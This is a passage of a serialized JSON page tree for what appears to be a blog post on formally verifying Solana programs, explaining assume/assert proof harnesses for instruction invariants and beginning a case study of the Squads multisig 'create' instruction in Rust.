83],[25830],{"type":25,"tag":216,"props":25831,"children":25833},{"className":25832},[246,2183],[25834,25839,25844,25853,25858,25867,25876,25881,25886,25891,25896],{"type":25,"tag":216,"props":25835,"children":25837},{"className":25836},[246,2145,2183],[25838],{"type":31,"value":162},{"type":25,"tag":216,"props":25840,"children":25842},{"className":25841},[246,2145,2183],[25843],{"type":31,"value":25625},{"type":25,"tag":216,"props":25845,"children":25847},{"className":25846},[257,2183],[25848],{"type":25,"tag":216,"props":25849,"children":25851},{"className":25850},[2183],[25852],{"type":31,"value":25635},{"type":25,"tag":216,"props":25854,"children":25856},{"className":25855},[263,2183],[25857],{"type":31,"value":25641},{"type":25,"tag":216,"props":25859,"children":25861},{"className":25860},[257,2183],[25862],{"type":25,"tag":216,"props":25863,"children":25865},{"className":25864},[2183],[25866],{"type":31,"value":25635},{"type":25,"tag":216,"props":25868,"children":25870},{"className":25869},[246,31,2183],[25871],{"type":25,"tag":216,"props":25872,"children":25874},{"className":25873},[246,2183],[25875],{"type":31,"value":25483},{"type":25,"tag":216,"props":25877,"children":25879},{"className":25878},[287,2183],[25880],{"type":31,"value":1844},{"type":25,"tag":216,"props":25882,"children":25884},{"className":25883},[246,2145,2183],[25885],{"type":31,"value":2248},{"type":25,"tag":216,"props":25887,"children":25889},{"className":25888},[246,2145,2183],[25890],{"type":31,"value":2928},{"type":25,"tag":216,"props":25892,"children":25894},{"className":25893},[246,2145,2183],[25895],{"type":31,"value":2535},{"type":25,"tag":216,"props":25897,"children":25899},{"className":25898},[427,2183],[25900],{"type":31,"value":1882},{"type":25,"tag":216,"props":25902,"children":25904},{"className":25903},[408],[25905],{"type":31,"value":411},{"type":25,"tag":216,"props":25907,"children":25909},{"className":25908},[304],[25910],{"type":25,"tag":216,"props":25911,"children":25913},{"className":25912,"style":25697},[309],[25914],{"type":25,"tag":216,"props":25915,"children":25916},{},[],{"type":25,"tag":216,"props":25918,"children":25920},{"className":25919,"style":1865},[257],[],{"type":25,"tag":216,"props":25922,"children":25924},{"className":25923},[246],[25925,25934,25939,25944,25949],{"type":25,"tag":216,"props":25926,"children":25928},{"className":25927},[246,31],[25929],{"type":25,"tag":216,"props":25930,"children":25932},{"className":25931},[246],[25933],{"type":31,"value":25719},{"type":25,"tag":216,"props":25935,"children":25937},{"className":25936},[287],[25938],{"type":31,"value":1844},{"type":25,"tag":216,"props":25940,"children":25942},{"className":25941},[246,2145],[25943],{"type":31,"value":162},{"type":25,"tag":216,"props":25945,"children":25947},{"className":25946},[246,2145],[25948],{"type":31,"value":25625},{"type":25,"tag":216,"props":25950,"children":25952},{"className":25951},[427],[25953],{"type":31,"value":1882},{"type":25,"tag":38,"props":25955,"children":25956},{},[25957],{"type":31,"value":25958},"Our instruction invariants are represented as:",{"type":25,"tag":2033,"props":25960,"children":25961},{},[25962,25996],{"type":25,"tag":2037,"props":25963,"children":25964},{},[25965,25990,25991],{"type":25,"tag":82,"props":25966,"children":25968},{"className":25967},[212,4696],[25969],{"type":25,"tag":216,"props":25970,"children":25972},{"className":25971},[224],[25973],{"type":25,"tag":216,"props":25974,"children":25976},{"className":25975,"ariaHidden":230},[229],[25977],{"type":25,"tag":216,"props":25978,"children":25980},{"className":25979},[235],[25981,25985],{"type":25,"tag":216,"props":25982,"children":25984},{"className":25983,"style":4793},[240],[],{"type":25,"tag":216,"props":25986,"children":25988},{"className":25987,"style":5263},[246,2145],[25989],{"type":31,"value":5266},{"type":31,"value":19282},{"type":25,"tag":82,"props":25992,"children":25994},{"className":25993},[],[25995],{"type":31,"value":24109},{"type":25,"tag":2037,"props":25997,"children":25998},{},[25999,26025,26026],{"type":25,"tag":82,"props":26000,"children":26002},{"className":26001},[212,4696],[26003],{"type":25,"tag":216,"props":26004,"children":26006},{"className":26005},[224],[26007],{"type":25,"tag":216,"props":26008,"children":26010},{"className":26009,"ariaHidden":230},[229],[26011],{"type":25,"tag":216,"props":26012,"children":26014},{"className":26013},[235],[26015,26019],{"type":25,"tag":216,"props":26016,"children":26018},{"className":26017,"style":4793},[240],[],{"type":25,"tag":216,"props":26020,"children":26022},{"className":26021,"style":5263},[246,2145],[26023],{"type":31,"value":26024},"E",{"type":31,"value":19282},{"type":25,"tag":82,"props":26027,"children":26029},{"className":26028},[],[26030],{"type":31,"value":24116},{"type":25,"tag":38,"props":26032,"children":26033},{},[26034,26036,26063,26065,26070,26072,26078],{"type":31,"value":26035},"And ",{"type":25,"tag":82,"props":26037,"children":26039},{"className":26038},[212,4696],[26040],{"type":25,"tag":216,"props":26041,"children":26043},{"className":26042},[224],[26044],{"type":25,"tag":216,"props":26045,"children":26047},{"className":26046,"ariaHidden":230},[229],[26048],{"type":25,"tag":216,"props":26049,"children":26051},{"className":26050},[235],[26052,26056],{"type":25,"tag":216,"props":26053,"children":26055},{"className":26054,"style":4793},[240],[],{"type":25,"tag":216,"props":26057,"children":26060},{"className":26058,"style":26059},[246,2145],"margin-right:0.07153em;",[26061],{"type":31,"value":26062},"K",{"type":31,"value":26064}," represents whether the instruction actually succeeds (i.e. invoking the handler returned an ",{"type":25,"tag":82,"props":26066,"children":26068},{"className":26067},[],[26069],{"type":31,"value":24443},{"type":31,"value":26071}," not an ",{"type":25,"tag":82,"props":26073,"children":26075},{"className":26074},[],[26076],{"type":31,"value":26077},"Err",{"type":31,"value":24696},{"type":25,"tag":38,"props":26080,"children":26081},{},[26082],{"type":31,"value":26083},"In order to verify these conditions we need to verify three cases:",{"type":25,"tag":607,"props":26085,"children":26087},{"id":26086},"account-invariants-1",[26088],{"type":31,"value":26089},"Account invariants",{"type":25,"tag":38,"props":26091,"children":26092},{},[26093,26095,26126,26128,26158,26160,26190],{"type":31,"value":26094},"After we execute an instruction, either the function should error and be reverted (",{"type":25,"tag":82,"props":26096,"children":26098},{"className":26097},[212,4696],[26099],{"type":25,"tag":216,"props":26100,"children":26102},{"className":26101},[224],[26103],{"type":25,"tag":216,"props":26104,"children":26106},{"className":26105,"ariaHidden":230},[229],[26107],{"type":25,"tag":216,"props":26108,"children":26110},{"className":26109},[235],[26111,26115,26121],{"type":25,"tag":216,"props":26112,"children":26114},{"className":26113,"style":4793},[240],[],{"type":25,"tag":216,"props":26116,"children":26118},{"className":26117},[246],[26119],{"type":31,"value":26120},"¬",{"type":25,"tag":216,"props":26122,"children":26124},{"className":26123,"style":26059},[246,2145],[26125],{"type":31,"value":26062},{"type":31,"value":26127},") or the account post-invariants should hold (",{"type":25,"tag":82,"props":26129,"children":26131},{"className":26130},[212,4696],[26132],{"type":25,"tag":216,"props":26133,"children":26135},{"className":26134},[224],[26136],{"type":25,"tag":216,"props":26137,"children":26139},{"className":26138,"ariaHidden":230},[229],[26140],{"type":25,"tag":216,"props":26141,"children":26143},{"className":26142},[235],[26144,26148,26153],{"type":25,"tag":216,"props":26145,"children":26147},{"className":26146,"style":4793},[240],[],{"type":25,"tag":216,"props":26149,"children":26151},{"className":26150,"style":2146},[246,2145],[26152],{"type":31,"value":2149},{"type":25,"tag":216,"props":26154,"children":26156},{"className":26155},[246],[26157],{"type":31,"value":184},{"type":31,"value":26159},"). Furthermore, we can assume that before executing a function, the account pre-invariants (",{"type":25,"tag":82,"props":26161,"children":26163},{"className":26162},[212,4696],[26164],{"type":25,"tag":216,"props":26165,"children":26167},{"className":26166},[224],[26168],{"type":25,"tag":216,"props":26169,"children":26171},{"className":26170,"ariaHidden":230},[229],[26172],{"type":25,"tag":216,"props":26173,"children":26175},{"className":26174},[235],[26176,26180,26185],{"type":25,"tag":216,"props":26177,"children":26179},{"className":26178,"style":4793},[240],[],{"type":25,"tag":216,"props":26181,"children":26183},{"className":26182,"style":2146},[246,2145],[26184],{"type":31,"value":2149},{"type":25,"tag":216,"props":26186,"children":26188},{"className":26187},[246],[26189],{"type":31,"value":1876},{"type":31,"value":26191},") should hold since we will verify all of the functions eventually.",{"type":25,"tag":38,"props":26193,"children":26194},{},[26195,26197],{"type":31,"value":26196},"So we are trying to prove that ",{"type":25,"tag":82,"props":26198,"children":26200},{"className":26199},[212,4696],[26201],{"type":25,"tag":216,"props":26202,"children":26204},{"className":26203},[224],[26205],{"type":25,"tag":216,"props":26206,"children":26208},{"className":26207,"ariaHidden":230},[229],[26209,26246,26278],{"type":25,"tag":216,"props":26210,"children":26212},{"className":26211},[235],[26213,26217,26222,26227,26232,26236,26242],{"type":25,"tag":216,"props":26214,"children":26216},{"className":26215,"style":5507},[240],[],{"type":25,"tag":216,"props":26218,"children":26220},{"className":26219},[287],[26221],{"type":31,"value":1844},{"type":25,"tag":216,"props":26223,"children":26225},{"className":26224,"style":2146},[246,2145],[26226],{"type":31,"value":2149},{"type":25,"tag":216,"props":26228,"children":26230},{"className":26229},[246],[26231],{"type":31,"value":1876},{"type":25,"tag":216,"props":26233,"children":26235},{"className":26234,"style":335},[257],[],{"type":25,"tag":216,"props":26237,"children":26239},{"className":26238},[340],[26240],{"type":31,"value":26241},"∧",{"type":25,"tag":216,"props":26243,"children":26245},{"className":26244,"style":335},[257],[],{"type":25,"tag":216,"props":26247,"children":26249},{"className":26248},[235],[26250,26254,26259,26264,26268,26274],{"type":25,"tag":216,"props":26251,"children":26253},{"className":26252,"style":5507},[240],[],{"type":25,"tag":216,"props":26255,"children":26257},{"className":26256,"style":26059},[246,2145],[26258],{"type":31,"value":26062},{"type":25,"tag":216,"props":26260,"children":26262},{"className":26261},[427],[26263],{"type":31,"value":1882},{"type":25,"tag":216,"props":26265,"children":26267},{"className":26266,"style":258},[257],[],{"type":25,"tag":216,"props":26269,"children":26271},{"className":26270},[263],[26272],{"type":31,"value":26273},"→",{"type":25,"tag":216,"props":26275,"children":26277},{"className":26276,"style":258},[257],[],{"type":25,"tag":216,"props":26279,"children":26281},{"className":26280},[235],[26282,26286,26291],{"type":25,"tag":216,"props":26283,"children":26285},{"className":26284,"style":4793},[240],[],{"type":25,"tag":216,"props":26287,"children":26289},{"className":26288,"style":2146},[246,2145],[26290],{"type":31,"value":2149},{"type":25,"tag":216,"props":26292,"children":26294},{"className":26293},[246],[26295],{"type":31,"value":184},{"type":25,"tag":38,"props":26297,"children":26298},{},[26299],{"type":31,"value":26300},"We can construct a proof harness like the following:",{"type":25,"tag":206,"props":26302,"children":26304},{"code":26303,"language":23414,"meta":7,"className":23415,"style":7},"assume(P0)\nres = instruction_handler(...)\nassert(!K || P1)\n",[26305],{"type":25,"tag":82,"props":26306,"children":26307},{"__ignoreMap":7},[26308,26316,26333],{"type":25,"tag":216,"props":26309,"children":26310},{"class":6916,"line":6917},[26311],{"type":25,"tag":216,"props":26312,"children":26313},{"style":6958},[26314],{"type":31,"value":26315},"assume(P0)\n",{"type":25,"tag":216,"props":26317,"children":26318},{"class":6916,"line":6763},[26319,26324,26328],{"type":25,"tag":216,"props":26320,"children":26321},{"style":6958},[26322],{"type":31,"value":26323},"res ",{"type":25,"tag":216,"props":26325,"children":26326},{"style":6947},[26327],{"type":31,"value":266},{"type":25,"tag":216,"props":26329,"children":26330},{"style":6958},[26331],{"type":31,"value":26332}," instruction_handler(...)\n",{"type":25,"tag":216,"props":26334,"children":26335},{"class":6916,"line":6772},[26336,26340,26344,26349,26354,26359],{"type":25,"tag":216,"props":26337,"children":26338},{"style":6967},[26339],{"type":31,"value":23938},{"type":25,"tag":216,"props":26341,"children":26342},{"style":6958},[26343],{"type":31,"value":1844},{"type":25,"tag":216,"props":26345,"children":26347},{"style":26346},"--shiki-default:#F44747",[26348],{"type":31,"value":24575},{"type":25,"tag":216,"props":26350,"children":26351},{"style":6958},[26352],{"type":31,"value":26353},"K ",{"type":25,"tag":216,"props":26355,"children":26356},{"style":26346},[26357],{"type":31,"value":26358},"||",{"type":25,"tag":216,"props":26360,"children":26361},{"style":6958},[26362],{"type":31,"value":26363}," P1)\n",{"type":25,"tag":38,"props":26365,"children":26366},{},[26367],{"type":31,"value":26368},"By itself, this harness doesn't actually prove much. For example, if the instruction fails every time, this proof will still work. However, in conjunction with the two subsequent proofs we can be assured that the instruction will actually succeed when we expect it to.",{"type":25,"tag":607,"props":26370,"children":26372},{"id":26371},"positive-instruction-invariant",[26373],{"type":31,"value":26374},"Positive instruction invariant",{"type":25,"tag":38,"props":26376,"children":26377},{},[26378,26380,26386,26388,26439],{"type":31,"value":26379},"Next we need to prove that ",{"type":25,"tag":82,"props":26381,"children":26383},{"className":26382},[],[26384],{"type":31,"value":26385},"success_if",{"type":31,"value":26387}," is a sufficient condition for instruction success. I.e. ",{"type":25,"tag":82,"props":26389,"children":26391},{"className":26390},[212,4696],[26392],{"type":25,"tag":216,"props":26393,"children":26395},{"className":26394},[224],[26396],{"type":25,"tag":216,"props":26397,"children":26399},{"className":26398,"ariaHidden":230},[229],[26400,26426],{"type":25,"tag":216,"props":26401,"children":26403},{"className":26402},[235],[26404,26408,26413,26417,26422],{"type":25,"tag":216,"props":26405,"children":26407},{"className":26406,"style":4793},[240],[],{"type":25,"tag":216,"props":26409,"children":26411},{"className":26410,"style":5263},[246,2145],[26412],{"type":31,"value":5266},{"type":25,"tag":216,"props":26414,"children":26416},{"className":26415,"style":258},[257],[],{"type":25,"tag":216,"props":26418,"children":26420},{"className":26419},[263],[26421],{"type":31,"value":26273},{"type":25,"tag":216,"props":26423,"children":26425},{"className":26424,"style":258},[257],[],{"type":25,"tag":216,"props":26427,"children":26429},{"className":26428},[235],[26430,26434],{"type":25,"tag":216,"props":26431,"children":26433},{"className":26432,"style":4793},[240],[],{"type":25,"tag":216,"props":26435,"children":26437},{"className":26436,"style":26059},[246,2145],[26438],{"type":31,"value":26062},{"type":31,"value":179},{"type":25,"tag":38,"props":26441,"children":26442},{},[26443],{"type":31,"value":26444},"Just like before we can construct a proof harness:",{"type":25,"tag":206,"props":26446,"children":26448},{"code":26447,"language":23414,"meta":7,"className":23415,"style":7},"assume(S)\nres = instruction_handler(...)\nassert(K)\n",[26449],{"type":25,"tag":82,"props":26450,"children":26451},{"__ignoreMap":7},[26452,26460,26475],{"type":25,"tag":216,"props":26453,"children":26454},{"class":6916,"line":6917},[26455],{"type":25,"tag":216,"props":26456,"children":26457},{"style":6958},[26458],{"type":31,"value":26459},"assume(S)\n",{"type":25,"tag":216,"props":26461,"children":26462},{"class":6916,"line":6763},[26463,26467,26471],{"type":25,"tag":216,"props":26464,"children":26465},{"style":6958},[26466],{"type":31,"value":26323},{"type":25,"tag":216,"props":26468,"children":26469},{"style":6947},[26470],{"type":31,"value":266},{"type":25,"tag":216,"props":26472,"children":26473},{"style":6958},[26474],{"type":31,"value":26332},{"type":25,"tag":216,"props":26476,"children":26477},{"class":6916,"line":6772},[26478,26482],{"type":25,"tag":216,"props":26479,"children":26480},{"style":6967},[26481],{"type":31,"value":23938},{"type":25,"tag":216,"props":26483,"children":26484},{"style":6958},[26485],{"type":31,"value":26486},"(K)\n",{"type":25,"tag":38,"props":26488,"children":26489},{},[26490,26492,26497,26499,26511],{"type":31,"value":26491},"This proof assures that whenever ",{"type":25,"tag":82,"props":26493,"children":26495},{"className":26494},[],[26496],{"type":31,"value":24109},{"type":31,"value":26498}," is satisfied, the instruction will succeed. However, remember that since this is not a biconditional, the instruction may also succeed ",{"type":25,"tag":64,"props":26500,"children":26501},{},[26502,26504,26509],{"type":31,"value":26503},"even if ",{"type":25,"tag":82,"props":26505,"children":26507},{"className":26506},[],[26508],{"type":31,"value":24109},{"type":31,"value":26510}," is not satisfied",{"type":31,"value":26512},". To specify explicit error conditions we need our third and final proof.",{"type":25,"tag":607,"props":26514,"children":26516},{"id":26515},"_3-negative-instruction-invariant",[26517],{"type":31,"value":26518},"3. Negative instruction invariant",{"type":25,"tag":38,"props":26520,"children":26521},{},[26522,26524,26529,26531,26587],{"type":31,"value":26523},"Finally, we want to prove that ",{"type":25,"tag":82,"props":26525,"children":26527},{"className":26526},[],[26528],{"type":31,"value":24116},{"type":31,"value":26530}," is a sufficient condition for instruction failure. I.e. ",{"type":25,"tag":82,"props":26532,"children":26534},{"className":26533},[212,4696],[26535],{"type":25,"tag":216,"props":26536,"children":26538},{"className":26537},[224],[26539],{"type":25,"tag":216,"props":26540,"children":26542},{"className":26541,"ariaHidden":230},[229],[26543,26569],{"type":25,"tag":216,"props":26544,"children":26546},{"className":26545},[235],[26547,26551,26556,26560,26565],{"type":25,"tag":216,"props":26548,"children":26550},{"className":26549,"style":4793},[240],[],{"type":25,"tag":216,"props":26552,"children":26554},{"className":26553,"style":5263},[246,2145],[26555],{"type":31,"value":26024},{"type":25,"tag":216,"props":26557,"children":26559},{"className":26558,"style":258},[257],[],{"type":25,"tag":216,"props":26561,"children":26563},{"className":26562},[263],[26564],{"type":31,"value":26273},{"type":25,"tag":216,"props":26566,"children":26568},{"className":26567,"style":258},[257],[],{"type":25,"tag":216,"props":26570,"children":26572},{"className":26571},[235],[26573,26577,26582],{"type":25,"tag":216,"props":26574,"children":26576},{"className":26575,"style":4793},[240],[],{"type":25,"tag":216,"props":26578,"children":26580},{"className":26579},[246],[26581],{"type":31,"value":26120},{"type":25,"tag":216,"props":26583,"children":26585},{"className":26584,"style":26059},[246,2145],[26586],{"type":31,"value":26062},{"type":31,"value":179},{"type":25,"tag":38,"props":26589,"children":26590},{},[26591],{"type":31,"value":26592},"This harness looks just like the previous one:",{"type":25,"tag":206,"props":26594,"children":26596},{"code":26595,"language":23414,"meta":7,"className":23415,"style":7},"assume(E)\nres = instruction_handler(...)\nassert(!K)\n",[26597],{"type":25,"tag":82,"props":26598,"children":26599},{"__ignoreMap":7},[26600,26608,26623],{"type":25,"tag":216,"props":26601,"children":26602},{"class":6916,"line":6917},[26603],{"type":25,"tag":216,"props":26604,"children":26605},{"style":6958},[26606],{"type":31,"value":26607},"assume(E)\n",{"type":25,"tag":216,"props":26609,"children":26610},{"class":6916,"line":6763},[26611,26615,26619],{"type":25,"tag":216,"props":26612,"children":26613},{"style":6958},[26614],{"type":31,"value":26323},{"type":25,"tag":216,"props":26616,"children":26617},{"style":6947},[26618],{"type":31,"value":266},{"type":25,"tag":216,"props":26620,"children":26621},{"style":6958},[26622],{"type":31,"value":26332},{"type":25,"tag":216,"props":26624,"children":26625},{"class":6916,"line":6772},[26626,26630,26634,26638],{"type":25,"tag":216,"props":26627,"children":26628},{"style":6967},[26629],{"type":31,"value":23938},{"type":25,"tag":216,"props":26631,"children":26632},{"style":6958},[26633],{"type":31,"value":1844},{"type":25,"tag":216,"props":26635,"children":26636},{"style":26346},[26637],{"type":31,"value":24575},{"type":25,"tag":216,"props":26639,"children":26640},{"style":6958},[26641],{"type":31,"value":26642},"K)\n",{"type":25,"tag":38,"props":26644,"children":26645},{},[26646,26648,26652],{"type":31,"value":26647},"With these three harnesses, we are now able to formally verify that instructions succeed or fail when we expect them to ",{"type":25,"tag":64,"props":26649,"children":26650},{},[26651],{"type":31,"value":20324},{"type":31,"value":26653}," the account invariants we expect are always being preserved.",{"type":25,"tag":26,"props":26655,"children":26657},{"id":26656},"case-study-squads-multisig",[26658],{"type":31,"value":26659},"Case study: Squads Multisig",{"type":25,"tag":38,"props":26661,"children":26662},{},[26663,26665,26670],{"type":31,"value":26664},"During our research, we focused on formally verifying aspects of the ",{"type":25,"tag":162,"props":26666,"children":26668},{"href":22778,"rel":26667},[166],[26669],{"type":31,"value":22782},{"type":31,"value":179},{"type":25,"tag":38,"props":26672,"children":26673},{},[26674,26676,26682,26684,26690],{"type":31,"value":26675},"The program defines a Multisig account (",{"type":25,"tag":82,"props":26677,"children":26679},{"className":26678},[],[26680],{"type":31,"value":26681},"Ms",{"type":31,"value":26683},") which has multiple members. These members can propose and then vote on transactions to execute on behalf of the multisig. If at least some ",{"type":25,"tag":82,"props":26685,"children":26687},{"className":26686},[],[26688],{"type":31,"value":26689},"threshold",{"type":31,"value":26691}," of members vote yes, the transaction will be invoked. Additionally, there is functionality to add/remove users and update the threshold.",{"type":25,"tag":38,"props":26693,"children":26694},{},[26695],{"type":31,"value":26696},"In practice, this structure provides a useful way to distribute authority across a group of individuals. From a formal verification perspective, it has both stateless and stateful features and constraints that provided a good testbed for our tooling.",{"type":25,"tag":38,"props":26698,"children":26699},{},[26700],{"type":31,"value":26701},"In this section we will go through a few examples of properties that we can verify on this program:",{"type":25,"tag":6705,"props":26703,"children":26704},{},[26705,26710,26715,26720],{"type":25,"tag":2037,"props":26706,"children":26707},{},[26708],{"type":31,"value":26709},"Incrementally verifying minimum requirements to create a multisig",{"type":25,"tag":2037,"props":26711,"children":26712},{},[26713],{"type":31,"value":26714},"Verify threshold requirements",{"type":25,"tag":2037,"props":26716,"children":26717},{},[26718],{"type":31,"value":26719},"Verify requirements to remove a member",{"type":25,"tag":2037,"props":26721,"children":26722},{},[26723],{"type":31,"value":26724},"Safety guarantees",{"type":25,"tag":607,"props":26726,"children":26728},{"id":26727},"_1-incrementally-verifying-minimum-requirements-to-create-a-multisig",[26729],{"type":31,"value":26730},"1. Incrementally verifying minimum requirements to create a multisig",{"type":25,"tag":38,"props":26732,"children":26733},{},[26734,26736,26741],{"type":31,"value":26735},"Suppose we want to verify the minimum requirements to create a multisig, i.e. the ",{"type":25,"tag":82,"props":26737,"children":26739},{"className":26738},[],[26740],{"type":31,"value":24109},{"type":31,"value":26742}," expression.",{"type":25,"tag":38,"props":26744,"children":26745},{},[26746,26748,26753,26755,26761],{"type":31,"value":26747},"Creating a multisig (",{"type":25,"tag":82,"props":26749,"children":26751},{"className":26750},[],[26752],{"type":31,"value":26681},{"type":31,"value":26754},") requires invoking the ",{"type":25,"tag":82,"props":26756,"children":26758},{"className":26757},[],[26759],{"type":31,"value":26760},"create",{"type":31,"value":26762}," instruction:",{"type":25,"tag":206,"props":26764,"children":26766},{"code":26765,"language":6908,"meta":7,"className":6909,"style":7},"#[derive(Accounts)]\n#[instruction(threshold: u16, create_key: Pubkey, members: Vec\u003CPubkey>)]\npub struct Create\u003C'info> {\n    #[account(\n        init,\n        payer = creator,\n        space = Ms::SIZE_WITHOUT_MEMBERS + (members.len() * 32),\n        seeds = [b\"squad\", create_key.as_ref(), b\"multisig\"], bump\n    )]\n    pub multisig: Account\u003C'info, Ms>,\n\n    #[account(mut)]\n    pub creator: Signer\u003C'info>,\n    pub system_program: Program\u003C'info, System>,\n}\n\npub fn create(\n    ctx: Context\u003CCreate>,\n    threshold: u16,\n    create_key: Pubkey,\n    members: Vec\u003CPubkey>,\n) -> Result\u003C()> {\n    // sort the members and remove duplicates\n    let mut members = members;\n    members.sort();\n    members.dedup();\n\n    // check we don't exceed u16\n    let total_members = members.len();\n    if total_members \u003C 1 {\n        return err!(MsError::EmptyMembers);\n    }\n\n    // make sure we don't exceed u16 on first call\n    if total_members > usize::from(u16::MAX) {\n        return err!(MsError::MaxMembersReached);\n    }\n\n    // make sure threshold is valid\n    if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n        return err!(MsError::InvalidThreshold);\n    }\n\n    ctx.accounts.multisig.init(\n        threshold,\n        create_key,\n        members,\n        *ctx.bumps.get(\"multisig\").unwrap(),\n    )\n}\n",[26767],{"type":25,"tag":82,"props":26768,"children":26769},{"__ignoreMap":7},[26770,26787,26842,26872,26880,26888,26905,26956,27006,27014,27055,27062,27078,27111,27153,27160,27167,27186,27214,27234,27254,27282,27301,27309,27337,27357,27377,27384,27392,27424,27447,27482,27490,27498,27507,27549,27582,27590,27598,27607,27683,27716,27724,27732,27769,27782,27795,27808,27862,27871],{"type":25,"tag":216,"props":26771,"children":26772},{"class":6916,"line":6917},[26773,26778,26783],{"type":25,"tag":216,"props":26774,"children":26775},{"style":6958},[26776],{"type":31,"value":26777},"#[derive(",{"type":25,"tag":216,"props":26779,"children":26780},{"style":7369},[26781],{"type":31,"value":26782},"Accounts",{"type":25,"tag":216,"props":26784,"children":26785},{"style":6958},[26786],{"type":31,"value":24212},{"type":25,"tag":216,"props":26788,"children":26789},{"class":6916,"line":6763},[26790,26795,26799,26803,26808,26812,26816,26821,26825,26829,26833,26837],{"type":25,"tag":216,"props":26791,"children":26792},{"style":6958},[26793],{"type":31,"value":26794},"#[instruction(threshold",{"type":25,"tag":216,"props":26796,"children":26797},{"style":6947},[26798],{"type":31,"value":1466},{"type":25,"tag":216,"props":26800,"children":26801},{"style":7369},[26802],{"type":31,"value":24984},{"type":25,"tag":216,"props":26804,"children":26805},{"style":6958},[26806],{"type":31,"value":26807},", create_key",{"type":25,"tag":216,"props":26809,"children":26810},{"style":6947},[26811],{"type":31,"value":1466},{"type":25,"tag":216,"props":26813,"children":26814},{"style":7369},[26815],{"type":31,"value":24811},{"type":25,"tag":216,"props":26817,"children":26818},{"style":6958},[26819],{"type":31,"value":26820},", members",{"type":25,"tag":216,"props":26822,"children":26823},{"style":6947},[26824],{"type":31,"value":1466},{"type":25,"tag":216,"props":26826,"children":26827},{"style":7369},[26828],{"type":31,"value":25343},{"type":25,"tag":216,"props":26830,"children":26831},{"style":6958},[26832],{"type":31,"value":9751},{"type":25,"tag":216,"props":26834,"children":26835},{"style":7369},[26836],{"type":31,"value":25352},{"type":25,"tag":216,"props":26838,"children":26839},{"style":6958},[26840],{"type":31,"value":26841},">)]\n",{"type":25,"tag":216,"props":26843,"children":26844},{"class":6916,"line":6772},[26845,26849,26853,26858,26863,26868],{"type":25,"tag":216,"props":26846,"children":26847},{"style":6930},[26848],{"type":31,"value":17641},{"type":25,"tag":216,"props":26850,"children":26851},{"style":6930},[26852],{"type":31,"value":25105},{"type":25,"tag":216,"props":26854,"children":26855},{"style":7369},[26856],{"type":31,"value":26857}," Create",{"type":25,"tag":216,"props":26859,"children":26860},{"style":6958},[26861],{"type":31,"value":26862},"\u003C'",{"type":25,"tag":216,"props":26864,"children":26865},{"style":7369},[26866],{"type":31,"value":26867},"info",{"type":25,"tag":216,"props":26869,"children":26870},{"style":6958},[26871],{"type":31,"value":11227},{"type":25,"tag":216,"props":26873,"children":26874},{"class":6916,"line":6999},[26875],{"type":25,"tag":216,"props":26876,"children":26877},{"style":6958},[26878],{"type":31,"value":26879},"    #[account(\n",{"type":25,"tag":216,"props":26881,"children":26882},{"class":6916,"line":7104},[26883],{"type":25,"tag":216,"props":26884,"children":26885},{"style":6958},[26886],{"type":31,"value":26887},"        init,\n",{"type":25,"tag":216,"props":26889,"children":26890},{"class":6916,"line":7210},[26891,26896,26900],{"type":25,"tag":216,"props":26892,"children":26893},{"style":6958},[26894],{"type":31,"value":26895},"        payer ",{"type":25,"tag":216,"props":26897,"children":26898},{"style":6947},[26899],{"type":31,"value":266},{"type":25,"tag":216,"props":26901,"children":26902},{"style":6958},[26903],{"type":31,"value":26904}," creator,\n",{"type":25,"tag":216,"props":26906,"children":26907},{"class":6916,"line":7238},[26908,26913,26917,26921,26925,26930,26934,26939,26943,26947,26951],{"type":25,"tag":216,"props":26909,"children":26910},{"style":6958},[26911],{"type":31,"value":26912},"        space ",{"type":25,"tag":216,"props":26914,"children":26915},{"style":6947},[26916],{"type":31,"value":266},{"type":25,"tag":216,"props":26918,"children":26919},{"style":7369},[26920],{"type":31,"value":25110},{"type":25,"tag":216,"props":26922,"children":26923},{"style":6947},[26924],{"type":31,"value":7432},{"type":25,"tag":216,"props":26926,"children":26927},{"style":7369},[26928],{"type":31,"value":26929},"SIZE_WITHOUT_MEMBERS",{"type":25,"tag":216,"props":26931,"children":26932},{"style":6947},[26933],{"type":31,"value":12852},{"type":25,"tag":216,"props":26935,"children":26936},{"style":6958},[26937],{"type":31,"value":26938}," (members",{"type":25,"tag":216,"props":26940,"children":26941},{"style":6947},[26942],{"type":31,"value":179},{"type":25,"tag":216,"props":26944,"children":26945},{"style":6958},[26946],{"type":31,"value":24975},{"type":25,"tag":216,"props":26948,"children":26949},{"style":6947},[26950],{"type":31,"value":8513},{"type":25,"tag":216,"props":26952,"children":26953},{"style":6958},[26954],{"type":31,"value":26955}," 32),\n",{"type":25,"tag":216,"props":26957,"children":26958},{"class":6916,"line":7251},[26959,26964,26968,26973,26978,26982,26986,26991,26996,27001],{"type":25,"tag":216,"props":26960,"children":26961},{"style":6958},[26962],{"type":31,"value":26963},"        seeds ",{"type":25,"tag":216,"props":26965,"children":26966},{"style":6947},[26967],{"type":31,"value":266},{"type":25,"tag":216,"props":26969,"children":26970},{"style":6958},[26971],{"type":31,"value":26972}," [",{"type":25,"tag":216,"props":26974,"children":26975},{"style":8199},[26976],{"type":31,"value":26977},"b\"squad\"",{"type":25,"tag":216,"props":26979,"children":26980},{"style":6958},[26981],{"type":31,"value":26807},{"type":25,"tag":216,"props":26983,"children":26984},{"style":6947},[26985],{"type":31,"value":179},{"type":25,"tag":216,"props":26987,"children":26988},{"style":6958},[26989],{"type":31,"value":26990},"as_ref(), ",{"type":25,"tag":216,"props":26992,"children":26993},{"style":8199},[26994],{"type":31,"value":26995},"b\"multisig\"",{"type":25,"tag":216,"props":26997,"children":26998},{"style":6958},[26999],{"type":31,"value":27000},"], ",{"type":25,"tag":216,"props":27002,"children":27003},{"style":6941},[27004],{"type":31,"value":27005},"bump\n",{"type":25,"tag":216,"props":27007,"children":27008},{"class":6916,"line":7269},[27009],{"type":25,"tag":216,"props":27010,"children":27011},{"style":6958},[27012],{"type":31,"value":27013},"    )]\n",{"type":25,"tag":216,"props":27015,"children":27016},{"class":6916,"line":7290},[27017,27021,27026,27030,27035,27039,27043,27047,27051],{"type":25,"tag":216,"props":27018,"children":27019},{"style":6930},[27020],{"type":31,"value":24797},{"type":25,"tag":216,"props":27022,"children":27023},{"style":6941},[27024],{"type":31,"value":27025}," multisig",{"type":25,"tag":216,"props":27027,"children":27028},{"style":6947},[27029],{"type":31,"value":1466},{"type":25,"tag":216,"props":27031,"children":27032},{"style":7369},[27033],{"type":31,"value":27034}," 